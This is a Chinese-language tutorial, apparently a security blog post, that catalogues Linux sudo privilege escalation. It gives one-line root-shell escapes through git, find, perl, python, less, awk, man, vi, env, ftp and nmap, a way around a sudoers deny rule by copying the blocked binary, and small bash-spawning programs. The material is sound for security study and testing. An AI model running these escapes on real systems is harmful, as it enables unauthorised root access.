前言
先说说sudo和su的区别:
sudo是以root的身份去运行一个命令,su则是切换用户。
sudo只需知道自己的密码即可,而su则是要知道被切换用户的密码。
然后还要了解一下sudo的配置文件,/etc/sudoers是sudo权限的配置文件。当用户运行sudo命令时,linux系统就会从这个文件里面查找当前用户,再根据当前用户的权限来判读是否可以执行当前命令。
例如给aaa用户配置root权限,照着root的格式来添加就行,ALL表示可以使用所有的命令
当权限过大时,可以直接输入命令切换root用户,
sudo su 或者 sudo bash
git
当sudo运行执行git命令时,可以利用进行提权
sudo git help config
!/bin/bash
或者
sudo git -p help
!/bin/bash
find
当find具有sudo权限也可以提权
sudo find a.txt -exec "/bin/sh" -p \;
perl
输入命令,再输入当前账户密码即可
sudo perl -e 'exec "/bin/bash";'
python
pty库是一个伪终端库,它的spawn会调用指定的程序
sudo python3 -c 'import pty;pty.spawn("/bin/bash")'
less
这个比较简单
sudo less /etc/hosts
再在底部输入!bash即可
awk
通过调用linux的system函数来打开bash
sudo awk 'BEGIN {system("/bin/bash")}'
man
通过命令打开man使用手册,同时会进入编辑行,输入!bash回车即可
sudo man man
vi
sudo vi会进入vi默认页,输入:!bash回车即可
脚本
如果某个脚本具有sudo权限,那我们可以把反弹shell的命令添加进去,然后再sudo执行脚本即可
这里说一下三种脚本命令反弹shell
#include<stdio.h> //这是c的
#include<unistd.h>
#include<sys/types.h>
int main()
{
setuid(geteuid());
system("/bin/bash");
return 0;
}
#! /bin/bash //这是.sh的
/bin/bash
#! /usr/bin/python //这是py的
import os
os.system("/bin/bash")
然后演示一下.sh脚本,直接sudo运行就行了
env
除了上面的二进制文件,一些程序也可以提权
sudo env /bin/bash
ftp
输入sudo ftp再输入!/bin/bash就可以了
黑名单
如果sudo权限配置在ALL的基础上添加了黑名单,也就是禁用了某些命令,例如在ALL的基础上禁用find命令
此时我们可以把运行find命令的文件复制一份到桌面上,然后我们sudo运行桌面的find文件不就行了吗。因为它禁用的是/usr/bin/find目录下的find文件,这里我复制到home目录下
cp /usr/bin/find find
然后和前面find提权一样,不过这里要表名执行的find命令是我们刚刚复制到home的路径,否则默认执行/usr/bin/find
sudo /home/find a.txt -exec "/bin/sh" -p \;
nmap
nmap也可以提权,哈哈哈没想到吧。
低版本的nmap
nmap --interactive //即可得到交互式shell
nmap>
之后输入!sh
新版本的nmap
echo 'os.execute("/bin/sh")' > getshell.nse
#nse是nmap的插件扩展名
nmap --script=/home/jens/getshell.nse
总结
总的来说sudo提权和suid提权差不多,以上是常见的sudo提权的总结,后续会持续跟新。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。